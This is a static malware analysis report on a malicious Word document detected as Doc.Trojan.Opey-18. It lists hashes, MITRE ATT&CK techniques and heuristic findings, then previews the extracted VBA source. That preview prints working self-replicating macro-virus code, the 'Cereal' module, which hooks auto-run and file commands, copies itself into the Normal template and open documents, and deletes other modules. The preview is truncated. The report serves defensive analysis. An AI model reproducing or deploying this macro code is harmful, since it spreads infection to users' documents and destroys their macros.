Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 84480d7de3a9bd98…

MALICIOUS

Office (OLE)

62.5 KB Created: 2000-01-18 15:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 413e55ce7fe27975cb1c78c450e9ed39 SHA-1: 02c3aa67fe72081fba1add57a920d5140dfb214b SHA-256: 84480d7de3a9bd980b7bc6c278e619cf3cc7b5fe6e47c1900d76092add78caba
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen and AutoExec macros, along with the critical Shell() call, indicate that the VBA code is designed to execute a payload. The presence of the 'Cereal' subroutine and the 'clascopy' function suggests an attempt to obfuscate or copy malicious code, likely to download and execute a second-stage payload. The ClamAV detection 'Doc.Trojan.Opey-18' further confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-18
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20780 bytes
SHA-256: eaf94edd8fb0d20c2e51a26f35ba65e2409dfc6a0555bebf19538d9eeb800b2d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Cereal"
Sub AutoOpen()
    Call stealth
    On Error Resume Next
    Call clascopy
    ActiveDocument.Save
End Sub
Sub AutoExec()
    Call stealth
    On Error Resume Next
    Call clascopy
    ActiveDocument.Save
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Call clascopy
    Application.UserName = "Cereal"
    Application.UserAddress = "Cereal"
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePageSetup()
    On Error Resume Next
    Call clascopy
    Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub FilePrint()
    On Error Resume Next
    Call clascopy
    Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call clascopy
    ActiveDocument.Save
End Sub
Sub AutoClose()
    On Error Resume Next
    Call clascopy
End Sub
Sub AutoExit()
    On Error Resume Next
    Call clascopy
    Application.Quit
End Sub
Sub FileSave()
    On Error Resume Next
    Call clascopy
    ActiveDocument.Save
End Sub
Sub FileClose()
    On Error Resume Next
    Call clascopy
    If ActiveDocument.Words(1) <> "" _
    And ActiveDocument.Saved = False Then
    ActiveDocument.Save
    End If
    ActiveDocument.Close
End Sub
Sub FileExit()
    On Error Resume Next
    Call clascopy
    If ActiveDocument.Words(1) <> "" And _
    ActiveDocument.Saved = False Then
    ActiveDocument.Save
    End If
    Call payload
    Application.Quit
End Sub
Sub FileNew()
    On Error Resume Next
    Dialogs(wdDialogFileNew).Show
    Call clascopy
End Sub

Sub clascopy()
   On Error Resume Next
   Call stealth
    infected = False
        For A_A = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
                modname = NormalTemplate.VBProject.VBComponents(A_A).Name
                If modname = "Cereal" Then
                    infected = True
                    e = NormalTemplate.VBProject.VBComponents(2).CodeModule.countoflines
                    vircode = NormalTemplate.VBProject.VBComponents(2).CodeModule.Lines(1, e)
                End If
                If (modname <> "Cereal") And (modname <> "ThisDocument") Then
                    Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=modname, Object:=wdOrganizerObjectProjectItems
                End If
        Next A_A
        For Each documentopen In Documents
            Docinfected = False
            With documentopen
                 For Cerealclaw = documentopen.VBProject.VBComponents.Count To 1 Step -1
                    modname = documentopen.VBProject.VBComponents(Cerealclaw).Name
                    If modname = "Cereal" Then
                          Docinfected = True
                          e = documentopen.VBProject.VBComponents(2).CodeModule.countoflines
                          vircode = documentopen.VBProject.VBComponents(2).CodeModule.Lines(1, e)
                    End If
                    If (modname <> "Cereal") And (modname <> "ThisDocument") And (modname <> "Reference to Normal") Then
                        Application.OrganizerDelete Source:=documentopen.FullName, Name:=modname, Object:=wdOrganizerObjectProjectItems
                    End If
                Next Cerealclaw
                If Docinfected = False Then
                     documentopen.VBProject.VBComponents.Add(1).Name = "Cereal"
                     e = NormalTemplate.VBProject.VBComponents(2).CodeModule.countoflines
                     vircode = NormalTemplate.VBProject.VBComponents(2).CodeModule.Lines(1, e)
                     documentopen.VBProject.VBComponents(2).CodeModule.InsertLines 1, vircode
                End If
            End With
        Next documentopen
            If infected = False Then
                    Normal
... (truncated)

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